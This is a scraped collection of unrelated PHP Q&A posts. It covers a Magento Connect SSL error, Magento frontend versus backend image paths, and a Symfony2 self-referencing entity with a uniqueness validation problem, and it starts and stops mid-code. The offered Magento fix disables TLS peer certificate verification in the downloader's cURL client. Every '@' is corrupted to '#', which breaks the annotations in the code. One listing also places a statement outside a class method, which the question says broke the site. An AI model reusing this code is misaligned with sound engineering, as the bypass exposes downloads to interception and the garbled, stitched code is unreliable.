foreach($this->_headers as $k=>$v) {
$heads[] = $k.': '.$v;
}
$this->curlOption(CURLOPT_HTTPHEADER, $heads);
}
if(count($this->_cookies)) {
$cookies = array();
foreach($this->_cookies as $k=>$v) {
$cookies[] = "$k=$v";
}
$this->curlOption(CURLOPT_COOKIE, implode(";", $cookies));
}
if($this->_timeout) {
$this->curlOption(CURLOPT_TIMEOUT, $this->_timeout);
}
if($this->_port != 80) {
$this->curlOption(CURLOPT_PORT, $this->_port);
}
$this->curlOption(CURLOPT_RETURNTRANSFER, 1);
$this->curlOption(CURLOPT_FOLLOWLOCATION, 1);
$this->curlOption(CURLOPT_HEADERFUNCTION, array($this,'parseHeaders'));
if(count($this->_curlUserOptions)) {
foreach($this->_curlUserOptions as $k=>$v) {
$this->curlOption($k, $v);
}
}
$this->_responseHeaders = array();
$this->_responseBody = curl_exec($this->_ch);
$err = curl_errno($this->_ch);
if($err) {
$this->doError(curl_error($this->_ch));
}
if(!$this->getStatus()) {
return $this->doError("Invalid response headers returned from server.");
}
curl_close($this->_ch);
if (403 == $this->getStatus()) {
if (!$isAuthorizationRequired) {
$isAuthorizationRequired++;
$this->makeRequest($method, $uri, $params);
$isAuthorizationRequired=0;
} else {
return $this->doError(sprintf('Access denied for %s#%s', $_SESSION['auth']['login'], $uri));
}
}
}
/**
* Throw error excpetion
* #param $string
* #throws Exception
*/
public function isAuthorizationRequired()
{
if (isset($_SESSION['auth']['username']) && isset($_SESSION['auth']['password']) && !empty($_SESSION['auth']['username'])) {
return true;
}
return false;
}
/**
* Throw error excpetion
* #param $string
* #throws Exception
*/
public function doError($string)
{
throw new Exception($string);
}
/**
* Parse headers - CURL callback functin
*
* #param resource $ch curl handle, not needed
* #param string $data
* #return int
*/
protected function parseHeaders($ch, $data)
{
if(preg_match('/^HTTP\/[\d\.x]+ (\d+)/', $data, $m)) {
if (isset($m[1])) {
$this->_responseStatus = (int)$m[1];
}
} else {
$name = $value = '';
$out = explode(": ", trim($data), 2);
if(count($out) == 2) {
$name = $out[0];
$value = $out[1];
}
if(strlen($name)) {
if("Set-Cookie" == $name) {
if(!isset($this->_responseHeaders[$name])) {
$this->_responseHeaders[$name] = array();
}
$this->_responseHeaders[$name][] = $value;
} else {
$this->_responseHeaders[$name] = $value;
}
}
}
return strlen($data);
}
/**
* Set curl option directly
*
* #param string $name
* #param string $value
*/
protected function curlOption($name, $value)
{
curl_setopt($this->_ch, $name, $value);
}
/**
* Set curl options array directly
* #param array $array
*/
protected function curlOptions($array)
{
curl_setopt_array($this->_ch, $arr);
}
/**
* Set CURL options ovverides array *
*/
public function setOptions($arr)
{
$this->_curlUserOptions = $arr;
}
/**
* Set curl option
*/
public function setOption($name, $value)
{
$this->_curlUserOptions[$name] = $value;
}
}

Magento Plugin installation gives Error as : Unknown SSL protocol error in connection

Magento Plugin installation Error : Unknown SSL protocol error when trying to install magento plugin from magento connect.
Try to use this code in downloader/lib/Mage/HTTP/Client/Curl.php
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license#magentocommerce.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magentocommerce.com for more information.
*
* #category Mage
* #package Mage_HTTP
* #copyright Copyright (c) 2014 Magento Inc. (http://www.magentocommerce.com)
* #license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Class to work with HTTP protocol using curl library
*
* #category Mage
* #package Mage_Connect
* #author Magento Core Team <core#magentocommerce.com>
*/
class Mage_HTTP_Client_Curl
implements Mage_HTTP_IClient
{
/**
* Session Cookie storage, magento_root/var directory used
* #var string
*/
const COOKIE_FILE = 'var/cookie';
/**
* Hostname
* #var string
*/
protected $_host = 'localhost';
/**
* Port
* #var int
*/
protected $_port = 80;
/**
* Stream resource
* #var object
*/
protected $_sock = null;
/**
* Request headers
* #var array
*/
protected $_headers = array();
/**
* Fields for POST method - hash
* #var array
*/
protected $_postFields = array();
/**
* Request cookies
* #var array
*/
protected $_cookies = array();
/**
* Response headers
* #var array
*/
protected $_responseHeaders = array();
/**
* Response body
* #var string
*/
protected $_responseBody = '';
/**
* Response status
* #var int
*/
protected $_responseStatus = 0;
/**
* Request timeout
* #var intunknown_type
*/
protected $_timeout = 300;
/**
* TODO
* #var int
*/
protected $_redirectCount = 0;
/**
* Curl
* #var object
*/
protected $_ch;
/**
* User ovverides options hash
* Are applied before curl_exec
*
* #var array();
*/
protected $_curlUserOptions = array();
/**
* User credentials
*
* #var array();
*/
protected $_auth = array();
/**
* Set request timeout, msec
*
* #param int $value
*/
public function setTimeout($value)
{
$this->_timeout = (int) $value;
}
/**
* Constructor
*/
public function __construct()
{
}
/**
* Destructor
* Removes temporary environment
*/
public function __destruct()
{
if (is_file(self::COOKIE_FILE)) {
#unlink(self::COOKIE_FILE);
}
}
/**
* Set headers from hash
* #param array $headers
*/
public function setHeaders($headers)
{
$this->_headers = $headers;
}
/**
* Add header
*
* #param $name name, ex. "Location"
* #param $value value ex. "http://google.com"
*/
public function addHeader($name, $value)
{
$this->_headers[$name] = $value;
}
/**
* Remove specified header
*
* #param string $name
*/
public function removeHeader($name)
{
unset($this->_headers[$name]);
}
/**
* Authorization: Basic header
* Login credentials support
*
* #param string $login username
* #param string $pass password
*/
public function setCredentials($login, $pass)
{
$this->_auth['login'] = $login;
$this->_auth['password'] = $pass;
//$val= base64_encode( "$login:$pass" );
//$this->addHeader( "Authorization", "Basic $val" );
}
/**
* Add cookie
*
* #param string $name
* #param string $value
*/
public function addCookie($name, $value)
{
$this->_cookies[$name] = $value;
}
/**
* Remove cookie
*
* #param string $name
*/
public function removeCookie($name)
{
unset($this->_cookies[$name]);
}
/**
* Set cookies array
*
* #param array $cookies
*/
public function setCookies($cookies)
{
$this->_cookies = $cookies;
}
/**
* Clear cookies
*/
public function removeCookies()
{
$this->setCookies(array());
}
/**
* Make GET request
*
* #param string $uri uri relative to host, ex. "/index.php"
*/
public function get($uri)
{
$this->makeRequest("GET", $uri);
}
/**
* Make POST request
* #see lib/Mage/HTTP/Mage_HTTP_Client#post($uri, $params)
*/
public function post($uri, $params)
{
$this->makeRequest("POST", $uri, $params);
}
/**
* Get response headers
*
* #return array
*/
public function getHeaders()
{
return $this->_responseHeaders;
}
/**
* Get response body
*
* #return string
*/
public function getBody()
{
return $this->_responseBody;
}
/**
* Get cookies response hash
*
* #return array
*/
public function getCookies()
{
if(empty($this->_responseHeaders['Set-Cookie'])) {
return array();
}
$out = array();
foreach( $this->_responseHeaders['Set-Cookie'] as $row) {
$values = explode("; ", $row);
$c = count($values);
if(!$c) {
continue;
}
list($key, $val) = explode("=", $values[0]);
if(is_null($val)) {
continue;
}
$out[trim($key)] = trim($val);
}
return $out;
}
/**
* Get cookies array with details
* (domain, expire time etc)
* #return array
*/
public function getCookiesFull()
{
if(empty($this->_responseHeaders['Set-Cookie'])) {
return array();
}
$out = array();
foreach( $this->_responseHeaders['Set-Cookie'] as $row) {
$values = explode("; ", $row);
$c = count($values);
if(!$c) {
continue;
}
list($key, $val) = explode("=", $values[0]);
if(is_null($val)) {
continue;
}
$out[trim($key)] = array('value'=>trim($val));
array_shift($values);
$c--;
if(!$c) {
continue;
}
for($i = 0; $i<$c; $i++) {
list($subkey, $val) = explode("=", $values[$i]);
$out[trim($key)][trim($subkey)] = trim($val);
}
}
return $out;
}
/**
* Get response status code
* #see lib/Mage/HTTP/Mage_HTTP_Client#getStatus()
*/
public function getStatus()
{
return $this->_responseStatus;
}
/**
* Make request
* #param string $method
* #param string $uri
* #param array $params
* #return null
*/
protected function makeRequest($method, $uri, $params = array())
{
static $isAuthorizationRequired = 0;
$this->_ch = curl_init();
// make request via secured layer
if ($isAuthorizationRequired && strpos($uri, 'https://') !== 0) {
$uri = str_replace('http://', '', $uri);
$uri = 'https://' . $uri;
}
$this->curlOption(CURLOPT_URL, $uri);
$this->curlOption(CURLOPT_SSL_VERIFYPEER, FALSE);
$this->curlOption(CURLOPT_SSL_VERIFYHOST, 2);
// force method to POST if secured
if ($isAuthorizationRequired) {
$method = 'POST';
}
if($method == 'POST') {
$this->curlOption(CURLOPT_POST, 1);
$postFields = is_array($params) ? $params : array();
if ($isAuthorizationRequired) {
$this->curlOption(CURLOPT_COOKIEJAR, self::COOKIE_FILE);
$this->curlOption(CURLOPT_COOKIEFILE, self::COOKIE_FILE);
$postFields = array_merge($postFields, $this->_auth);
}
if (!empty($postFields)) {
$this->curlOption(CURLOPT_POSTFIELDS, $postFields);
}
} elseif($method == "GET") {
$this->curlOption(CURLOPT_HTTPGET, 1);
} else {
$this->curlOption(CURLOPT_CUSTOMREQUEST, $method);
}
if(count($this->_headers)) {
$heads = array();
foreach($this->_headers as $k=>$v) {
$heads[] = $k.': '.$v;
}
$this->curlOption(CURLOPT_HTTPHEADER, $heads);
}
if(count($this->_cookies)) {
$cookies = array();
foreach($this->_cookies as $k=>$v) {
$cookies[] = "$k=$v";
}
$this->curlOption(CURLOPT_COOKIE, implode(";", $cookies));
}
if($this->_timeout) {
$this->curlOption(CURLOPT_TIMEOUT, $this->_timeout);
}
if($this->_port != 80) {
$this->curlOption(CURLOPT_PORT, $this->_port);
}
$this->curlOption(CURLOPT_RETURNTRANSFER, 1);
$this->curlOption(CURLOPT_FOLLOWLOCATION, 1);
$this->curlOption(CURLOPT_HEADERFUNCTION, array($this,'parseHeaders'));
if(count($this->_curlUserOptions)) {
foreach($this->_curlUserOptions as $k=>$v) {
$this->curlOption($k, $v);
}
}
$this->_responseHeaders = array();
$this->_responseBody = curl_exec($this->_ch);
$err = curl_errno($this->_ch);
if($err) {
$this->doError(curl_error($this->_ch));
}
if(!$this->getStatus()) {
return $this->doError("Invalid response headers returned from server.");
}
curl_close($this->_ch);
if (403 == $this->getStatus()) {
if (!$isAuthorizationRequired) {
$isAuthorizationRequired++;
$this->makeRequest($method, $uri, $params);
$isAuthorizationRequired=0;
} else {
return $this->doError(sprintf('Access denied for %s#%s', $_SESSION['auth']['login'], $uri));
}
}
}
/**
* Throw error excpetion
* #param $string
* #throws Exception
*/
public function isAuthorizationRequired()
{
if (isset($_SESSION['auth']['username']) && isset($_SESSION['auth']['password']) && !empty($_SESSION['auth']['username'])) {
return true;
}
return false;
}
/**
* Throw error excpetion
* #param $string
* #throws Exception
*/
public function doError($string)
{
throw new Exception($string);
}
/**
* Parse headers - CURL callback functin
*
* #param resource $ch curl handle, not needed
* #param string $data
* #return int
*/
protected function parseHeaders($ch, $data)
{
if(preg_match('/^HTTP\/[\d\.x]+ (\d+)/', $data, $m)) {
if (isset($m[1])) {
$this->_responseStatus = (int)$m[1];
}
} else {
$name = $value = '';
$out = explode(": ", trim($data), 2);
if(count($out) == 2) {
$name = $out[0];
$value = $out[1];
}
if(strlen($name)) {
if("Set-Cookie" == $name) {
if(!isset($this->_responseHeaders[$name])) {
$this->_responseHeaders[$name] = array();
}
$this->_responseHeaders[$name][] = $value;
} else {
$this->_responseHeaders[$name] = $value;
}
}
}
return strlen($data);
}
/**
* Set curl option directly
*
* #param string $name
* #param string $value
*/
protected function curlOption($name, $value)
{
curl_setopt($this->_ch, $name, $value);
}
/**
* Set curl options array directly
* #param array $array
*/
protected function curlOptions($array)
{
curl_setopt_array($this->_ch, $arr);
}
/**
* Set CURL options ovverides array *
*/
public function setOptions($arr)
{
$this->_curlUserOptions = $arr;
}
/**
* Set curl option
*/
public function setOption($name, $value)
{
$this->_curlUserOptions[$name] = $value;
}
}
Source

Product images are serving from different path in Frontend and Backend

Frontend Product images are serving from this path1 :
media/catalog/product/cache/1/image/9df78eab33525d08d6e5fb8d27136e95/i/m/img24.jpg
Backend Product images are serving from this path2
media/catalog/product/i/m/img24.jpg
why same images stored in different path.
I think Backend images are serving from proper path, I want frontend images also should serve from same path.
so we followed link & added following code in below file, but after that our site did't load any images.:
app/code/core/Mage/Catalog/Helper/Image.php
echo Mage::getModel('catalog/product_media_config')->getMediaUrl( $_product->getSmallImage());
full code :
<?php
class Mage_Catalog_Helper_Image extends Mage_Core_Helper_Abstract
{
/**
* Current model
*
* #var Mage_Catalog_Model_Product_Image
*/
protected $_model;
/**
* Scheduled for resize image
*
* #var bool
*/
protected $_scheduleResize = false;
/**
* Scheduled for rotate image
*
* #var bool
*/
protected $_scheduleRotate = false;
/**
* Angle
*
* #var int
*/
protected $_angle;
/**
* Watermark file name
*
* #var string
*/
protected $_watermark;
/**
* Watermark Position
*
* #var string
*/
protected $_watermarkPosition;
/**
* Watermark Size
*
* #var string
*/
protected $_watermarkSize;
/**
* Watermark Image opacity
*
* #var int
*/
protected $_watermarkImageOpacity;
/**
* Current Product
*
* #var Mage_Catalog_Model_Product
*/
protected $_product;
/**
* Image File
*
* #var string
*/
protected $_imageFile;
/**
* Image Placeholder
*
* #var string
*/
protected $_placeholder;
/**
* Reset all previous data
*
* #return Mage_Catalog_Helper_Image
*/
protected function _reset()
{
$this->_model = null;
$this->_scheduleResize = false;
$this->_scheduleRotate = false;
$this->_angle = null;
$this->_watermark = null;
$this->_watermarkPosition = null;
$this->_watermarkSize = null;
$this->_watermarkImageOpacity = null;
$this->_product = null;
$this->_imageFile = null;
return $this;
}
/**
* Initialize Helper to work with Image
*
* #param Mage_Catalog_Model_Product $product
* #param string $attributeName
* #param mixed $imageFile
* #return Mage_Catalog_Helper_Image
*/
public function init(Mage_Catalog_Model_Product $product, $attributeName, $imageFile=null)
{
$this->_reset();
$this->_setModel(Mage::getModel('catalog/product_image'));
$this->_getModel()->setDestinationSubdir($attributeName);
$this->setProduct($product);
$this->setWatermark(
Mage::getStoreConfig("design/watermark/{$this->_getModel()->getDestinationSubdir()}_image")
);
$this->setWatermarkImageOpacity(
Mage::getStoreConfig("design/watermark/{$this->_getModel()->getDestinationSubdir()}_imageOpacity")
);
$this->setWatermarkPosition(
Mage::getStoreConfig("design/watermark/{$this->_getModel()->getDestinationSubdir()}_position")
);
$this->setWatermarkSize(
Mage::getStoreConfig("design/watermark/{$this->_getModel()->getDestinationSubdir()}_size")
);
if ($imageFile) {
$this->setImageFile($imageFile);
} else {
// add for work original size
$this->_getModel()->setBaseFile($this->getProduct()->getData($this->_getModel()->getDestinationSubdir()));
}
return $this;
}
/**
* Schedule resize of the image
* $width *or* $height can be null - in this case, lacking dimension will be calculated.
*
* #see Mage_Catalog_Model_Product_Image
* #param int $width
* #param int $height
* #return Mage_Catalog_Helper_Image
*/
public function resize($width, $height = null)
{
$this->_getModel()->setWidth($width)->setHeight($height);
$this->_scheduleResize = true;
return $this;
}
/**
* Set image quality, values in percentage from 0 to 100
*
* #param int $quality
* #return Mage_Catalog_Helper_Image
*/
public function setQuality($quality)
{
$this->_getModel()->setQuality($quality);
return $this;
}
/**
* Guarantee, that image picture width/height will not be distorted.
* Applicable before calling resize()
* It is true by default.
*
* #see Mage_Catalog_Model_Product_Image
* #param bool $flag
* #return Mage_Catalog_Helper_Image
*/
public function keepAspectRatio($flag)
{
$this->_getModel()->setKeepAspectRatio($flag);
return $this;
}
/**
* Guarantee, that image will have dimensions, set in $width/$height
* Applicable before calling resize()
* Not applicable, if keepAspectRatio(false)
*
* $position - TODO, not used for now - picture position inside the frame.
*
* #see Mage_Catalog_Model_Product_Image
* #param bool $flag
* #param array $position
* #return Mage_Catalog_Helper_Image
*/
public function keepFrame($flag, $position = array('center', 'middle'))
{
$this->_getModel()->setKeepFrame($flag);
return $this;
}
/**
* Guarantee, that image will not lose transparency if any.
* Applicable before calling resize()
* It is true by default.
*
* $alphaOpacity - TODO, not used for now
*
* #see Mage_Catalog_Model_Product_Image
* #param bool $flag
* #param int $alphaOpacity
* #return Mage_Catalog_Helper_Image
*/
public function keepTransparency($flag, $alphaOpacity = null)
{
$this->_getModel()->setKeepTransparency($flag);
return $this;
}
/**
* Guarantee, that image picture will not be bigger, than it was.
* Applicable before calling resize()
* It is false by default
*
* #param bool $flag
* #return Mage_Catalog_Helper_Image
*/
public function constrainOnly($flag)
{
$this->_getModel()->setConstrainOnly($flag);
return $this;
}
/**
* Set color to fill image frame with.
* Applicable before calling resize()
* The keepTransparency(true) overrides this (if image has transparent color)
* It is white by default.
*
* #see Mage_Catalog_Model_Product_Image
* #param array $colorRGB
* #return Mage_Catalog_Helper_Image
*/
public function backgroundColor($colorRGB)
{
// assume that 3 params were given instead of array
if (!is_array($colorRGB)) {
$colorRGB = func_get_args();
}
$this->_getModel()->setBackgroundColor($colorRGB);
return $this;
}
/**
* Rotate image into specified angle
*
* #param int $angle
* #return Mage_Catalog_Helper_Image
*/
public function rotate($angle)
{
$this->setAngle($angle);
$this->_getModel()->setAngle($angle);
$this->_scheduleRotate = true;
return $this;
}
/**
* Add watermark to image
* size param in format 100x200
*
* #param string $fileName
* #param string $position
* #param string $size
* #param int $imageOpacity
* #return Mage_Catalog_Helper_Image
*/
public function watermark($fileName, $position, $size=null, $imageOpacity=null)
{
$this->setWatermark($fileName)
->setWatermarkPosition($position)
->setWatermarkSize($size)
->setWatermarkImageOpacity($imageOpacity);
return $this;
}
/**
* Set placeholder
*
* #param string $fileName
* #return void
*/
public function placeholder($fileName)
{
$this->_placeholder = $fileName;
}
/**
* Get Placeholder
*
* #return string
*/
public function getPlaceholder()
{
if (!$this->_placeholder) {
$attr = $this->_getModel()->getDestinationSubdir();
$this->_placeholder = 'images/catalog/product/placeholder/'.$attr.'.jpg';
}
return $this->_placeholder;
}
/**
* Return Image URL
*
* #return string
*/
public function __toString()
{
try {
$model = $this->_getModel();
if ($this->getImageFile()) {
$model->setBaseFile($this->getImageFile());
} else {
$model->setBaseFile($this->getProduct()->getData($model->getDestinationSubdir()));
}
if ($model->isCached()) {
return $model->getUrl();
} else {
if ($this->_scheduleRotate) {
$model->rotate($this->getAngle());
}
if ($this->_scheduleResize) {
$model->resize();
}
if ($this->getWatermark()) {
$model->setWatermark($this->getWatermark());
}
$url = $model->saveFile()->getUrl();
}
} catch (Exception $e) {
$url = Mage::getDesign()->getSkinUrl($this->getPlaceholder());
}
return $url;
}
/**
* Set current Image model
*
* #param Mage_Catalog_Model_Product_Image $model
* #return Mage_Catalog_Helper_Image
*/
protected function _setModel($model)
{
$this->_model = $model;
return $this;
}
/**
* Get current Image model
*
* #return Mage_Catalog_Model_Product_Image
*/
protected function _getModel()
{
return $this->_model;
}
/**
* Set Rotation Angle
*
* #param int $angle
* #return Mage_Catalog_Helper_Image
*/
protected function setAngle($angle)
{
$this->_angle = $angle;
return $this;
}
/**
* Get Rotation Angle
*
* #return int
*/
protected function getAngle()
{
return $this->_angle;
}
/**
* Set watermark file name
*
* #param string $watermark
* #return Mage_Catalog_Helper_Image
*/
protected function setWatermark($watermark)
{
$this->_watermark = $watermark;
$this->_getModel()->setWatermarkFile($watermark);
return $this;
}
/**
* Get watermark file name
*
* #return string
*/
protected function getWatermark()
{
return $this->_watermark;
}
/**
* Set watermark position
*
* #param string $position
* #return Mage_Catalog_Helper_Image
*/
protected function setWatermarkPosition($position)
{
$this->_watermarkPosition = $position;
$this->_getModel()->setWatermarkPosition($position);
return $this;
}
/**
* Get watermark position
*
* #return string
*/
protected function getWatermarkPosition()
{
return $this->_watermarkPosition;
}
/**
* Set watermark size
* param size in format 100x200
*
* #param string $size
* #return Mage_Catalog_Helper_Image
*/
public function setWatermarkSize($size)
{
$this->_watermarkSize = $size;
$this->_getModel()->setWatermarkSize($this->parseSize($size));
return $this;
}
/**
* Get watermark size
*
* #return string
*/
protected function getWatermarkSize()
{
return $this->_watermarkSize;
}
/**
* Set watermark image opacity
*
* #param int $imageOpacity
* #return Mage_Catalog_Helper_Image
*/
public function setWatermarkImageOpacity($imageOpacity)
{
$this->_watermarkImageOpacity = $imageOpacity;
$this->_getModel()->setWatermarkImageOpacity($imageOpacity);
return $this;
}
/**
* Get watermark image opacity
*
* #return int
*/
protected function getWatermarkImageOpacity()
{
if ($this->_watermarkImageOpacity) {
return $this->_watermarkImageOpacity;
}
return $this->_getModel()->getWatermarkImageOpacity();
}
/**
* Set current Product
*
* #param Mage_Catalog_Model_Product $product
* #return Mage_Catalog_Helper_Image
*/
protected function setProduct($product)
{
$this->_product = $product;
return $this;
}
/**
* Get current Product
*
* #return Mage_Catalog_Model_Product
*/
protected function getProduct()
{
return $this->_product;
}
/**
* Set Image file
*
* #param string $file
* #return Mage_Catalog_Helper_Image
*/
protected function setImageFile($file)
{
$this->_imageFile = $file;
return $this;
}
/**
* Get Image file
*
* #return string
*/
protected function getImageFile()
{
return $this->_imageFile;
}
/**
* Retrieve size from string
*
* #param string $string
* #return array|bool
*/
protected function parseSize($string)
{
$size = explode('x', strtolower($string));
if (sizeof($size) == 2) {
return array(
'width' => ($size[0] > 0) ? $size[0] : null,
'heigth' => ($size[1] > 0) ? $size[1] : null,
);
}
return false;
}
/**
* Retrieve original image width
*
* #return int|null
*/
public function getOriginalWidth()
{
return $this->_getModel()->getImageProcessor()->getOriginalWidth();
}
/**
* Retrieve original image height
*
* #deprecated
* #return int|null
*/
public function getOriginalHeigh()
{
return $this->getOriginalHeight();
}
/**
* Retrieve original image height
*
* #return int|null
*/
public function getOriginalHeight()
{
return $this->_getModel()->getImageProcessor()->getOriginalHeight();
}
/**
* Retrieve Original image size as array
* 0 - width, 1 - height
*
* #return array
*/
public function getOriginalSizeArray()
{
return array(
$this->getOriginalWidth(),
$this->getOriginalHeight()
);
}
/**
* Check - is this file an image
*
* #param string $filePath
* #return bool
* #throws Mage_Core_Exception
*/
public function validateUploadFile($filePath) {
if (!getimagesize($filePath)) {
Mage::throwException($this->__('Disallowed file type.'));
}
$_processor = new Varien_Image($filePath);
return $_processor->getMimeType() !== null;
}
echo Mage::getModel('catalog/product_media_config')->getMediaUrl( $_product->getSmallImage());
}
In frontend all product image come from cache due to increase speed.
In backend Magento not consider speed so it come from real image path.
You can not written any code out side of method because Magento is fully object oriented.
You can use below code for fetch image full url.
echo $imageUrl = Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA) . 'catalog/product' . $_product->getImage();

symfony2 self referencing entity has validation problems

I have an entity that can have another entity of the same type as parent (self-referencing?).
So I have a container named Sweden, then another Container named Stockholm, and the $parent property of Stockholm is Sweden (these two are the same type of entity).
I have a validation constraint that makes sure no two entities can have the same name, but here arises a problem when I choose a parent for an entity, because the way the validations work seem to be that it then goes on to check not only the name of the entity Stockholm, but also goes to check the entire entity that I chose for parent, and obviously the name Stockholm is already in the DB (otherwise I couldn't have picked it for parent) there is a validation error, seems like a catch22 issue...
some code to illustrate... Any thoughts?
The entity
namespace BizTV\ContainerManagementBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Validator\Constraints as Assert;
use BizTV\ContainerManagementBundle\Validator\Constraints as BizTVAssert;
use BizTV\UserBundle\Entity\User as user;
use BizTV\ContainerManagementBundle\Entity\Container as Container;
/**
* BizTV\ContainerManagementBundle\Entity\Container
* #BizTVAssert\ContainerExists
* #ORM\Table(name="container")
* #ORM\Entity
*/
class Container
{
/**
* #var integer $id
* #ORM\Id
* #ORM\Column(type="integer")
* #ORM\GeneratedValue(strategy="AUTO")
*/
protected $id;
/**
* #var string $name
* #Assert\NotBlank(message = "Du måste ange ett namn")
* #ORM\Column(name="name", type="string", length=255, nullable=true)
*/
private $name;
/**
* #var object BizTV\BackendBundle\Entity\company
*
* #ORM\ManyToOne(targetEntity="BizTV\BackendBundle\Entity\company")
* #ORM\JoinColumn(name="company", referencedColumnName="id", nullable=false)
*/
protected $company;
/**
* #var object BizTV\ContainerManagementBundle\Entity\ContainerType
*
* #ORM\ManyToOne(targetEntity="BizTV\ContainerManagementBundle\Entity\ContainerType")
* #ORM\JoinColumn(name="container_type", referencedColumnName="id", nullable=false)
*/
protected $containerType;
/**
* #var object BizTV\ContainerManagementBundle\Entity\ContainerSize
*
* #ORM\ManyToOne(targetEntity="BizTV\ContainerManagementBundle\Entity\ContainerSize")
* #ORM\JoinColumn(name="container_size", referencedColumnName="id", nullable=false)
*/
protected $containerSize;
/**
* #ORM\OneToMany(targetEntity="Container", mappedBy="parent")
*/
private $children;
/**
* #ORM\OneToMany(targetEntity="BizTV\ContentManagementBundle\Entity\Content", mappedBy="container")
* #ORM\OrderBy({"sortOrder" = "ASC"})
* above code does nothing, thought to use that instead of the current jQuery tinySort but aparently not...
*/
private $content;
/**
* #var object BizTV\ContainerManagementBundle\Entity\Container
*
* #ORM\ManyToOne(targetEntity="Container", inversedBy="children")
* #ORM\JoinColumn(name="parent", referencedColumnName="id", nullable=true)
*/
protected $parent;
/**
* #var object BizTV\LayoutManagementBundle\Entity\Layout
*
* #ORM\ManyToOne(targetEntity="BizTV\LayoutManagementBundle\Entity\Layout")
* #ORM\JoinColumn(name="screen_layout", referencedColumnName="id", nullable=true)
*/
protected $screen_layout;
/**
* #ORM\Column(type="boolean", nullable=true)
*
* This only applies to the monitor containerType, others will always have false here.
* The purpose of this bool is the option of never rendering this monitor with a layout (handy for ex. BrfTV servers with lower resolution)
*/
protected $prohibitLayout;
/**
* #ORM\ManyToMany(targetEntity="BizTV\UserBundle\Entity\User", mappedBy="access")
*/
private $users;
public function __construct() {
$this->users = new \Doctrine\Common\Collections\ArrayCollection();
$this->children = new \Doctrine\Common\Collections\ArrayCollection();
$this->content = new \Doctrine\Common\Collections\ArrayCollection();
}
/**
* Get id
*
* #return integer
*/
public function getId()
{
return $this->id;
}
/**
* Set name
*
* #param string $name
*/
public function setName($name)
{
$this->name = $name;
}
/**
* Get name
*
* #return string
*/
public function getName()
{
return $this->name;
}
/**
* Set company
*
* #param BizTV\BackendBundle\Entity\company $company
*/
public function setCompany(\BizTV\BackendBundle\Entity\company $company)
{
$this->company = $company;
}
/**
* Get company
*
* #return BizTV\BackendBundle\Entity\company
*/
public function getCompany()
{
return $this->company;
}
/**
* Set containerType
*
* #param BizTV\ContainerManagementBundle\Entity\ContainerType $containerType
*/
public function setContainerType(\BizTV\ContainerManagementBundle\Entity\ContainerType $containerType)
{
$this->containerType = $containerType;
}
/**
* Get containerType
*
* #return BizTV\ContainerManagementBundle\Entity\ContainerType
*/
public function getContainerType()
{
return $this->containerType;
}
/**
* Set parent
*
* #param BizTV\ContainerManagementBundle\Entity\Container $parent
*/
public function setParent(\BizTV\ContainerManagementBundle\Entity\Container $parent = NULL)
{
$this->parent = $parent;
}
/**
* Get parent
*
* #return BizTV\ContainerManagementBundle\Entity\Container
*/
public function getParent()
{
return $this->parent;
}
/**
* Set screen_layout
*
* #param BizTV\LayoutManagementBundle\Entity\Layout $screenLayout
*/
public function setScreenLayout(\BizTV\LayoutManagementBundle\Entity\Layout $screenLayout = NULL)
{
$this->screen_layout = $screenLayout;
}
/**
* Get screen_layout
*
* #return BizTV\LayoutManagementBundle\Entity\Layout
*/
public function getScreenLayout()
{
return $this->screen_layout;
}
public function getSelectLabel()
{
if (isset($this->parent)) {
return $this->name . ' (' . $this->parent->getName() . ')';
}
else {
return $this->name;
}
}
/**
* Add users
*
* #param BizTV\UserBundle\Entity\User $users
*/
public function addUser(\BizTV\UserBundle\Entity\User $users)
{
$this->users[] = $users;
}
/**
* Get users
*
* #return Doctrine\Common\Collections\Collection
*/
public function getUsers()
{
return $this->users;
}
/**
* Add children
*
* #param BizTV\ContainerManagementBundle\Entity\Container $children
*/
public function addContainer(\BizTV\ContainerManagementBundle\Entity\Container $children)
{
$this->children[] = $children;
}
/**
* Get children
*
* #return Doctrine\Common\Collections\Collection
*/
public function getChildren()
{
return $this->children;
}
/**
* Add content
*
* #param BizTV\ContentManagementBundle\Entity\Content $content
*/
public function addContent(\BizTV\ContentManagementBundle\Entity\Content $content)
{
$this->content[] = $content;
}
/**
* Get content
*
* #return Doctrine\Common\Collections\Collection
*/
public function getContent()
{
return $this->content;
}
/**
* Set containerSize
*
* #param BizTV\ContainerManagementBundle\Entity\ContainerSize $containerSize
*/
public function setContainerSize(\BizTV\ContainerManagementBundle\Entity\ContainerSize $containerSize)
{
$this->containerSize = $containerSize;
}
/**
* Get containerSize
*
* #return BizTV\ContainerManagementBundle\Entity\ContainerSize
*/
public function getContainerSize()
{
return $this->containerSize;
}
/**
* Set prohibitLayout
*
* #param boolean $prohibitLayout
*/
public function setProhibitLayout($prohibitLayout)
{
$this->prohibitLayout = $prohibitLayout;
}
/**
* Get prohibitLayout
*
* #return boolean
*/
public function getProhibitLayout()
{
return $this->prohibitLayout;
}
}
Form
namespace BizTV\ContainerManagementBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilder;
use Doctrine\ORM\EntityRepository;
class ContainerBuildingType extends AbstractType
{
function __construct(\BizTV\BackendBundle\Entity\company $company, \BizTV\ContainerManagementBundle\Entity\ContainerType $parentType) {
$this->parentType = $parentType;
$this->company = $company;
}
public function buildForm(FormBuilder $builder, array $options)
{
$builder->add('name', 'text', array('label' => 'Namn på fastighet '));
$parentType = $this->parentType;
$company = $this->company;
$builder->add('parent', 'entity', array(
'label' => 'Välj ett geografiskt område för fastigheten ',
'class' => 'BizTVContainerManagementBundle:Container','property'=>'name',
'query_builder' => function(EntityRepository $er) use ($parentType, $company) {
return $er->createQueryBuilder('u')
->where('u.containerType = :type', 'u.company = :company')
->setParameters( array('type' => $parentType, 'company' => $company) )
->orderBy('u.name', 'ASC');
},
));
}
public function getName()
{
return 'biztv_containermanagementbundle_containerbuildingtype';
}
}
Constraint
use Symfony\Component\Validator\Constraint;
/**
* #Annotation
*/
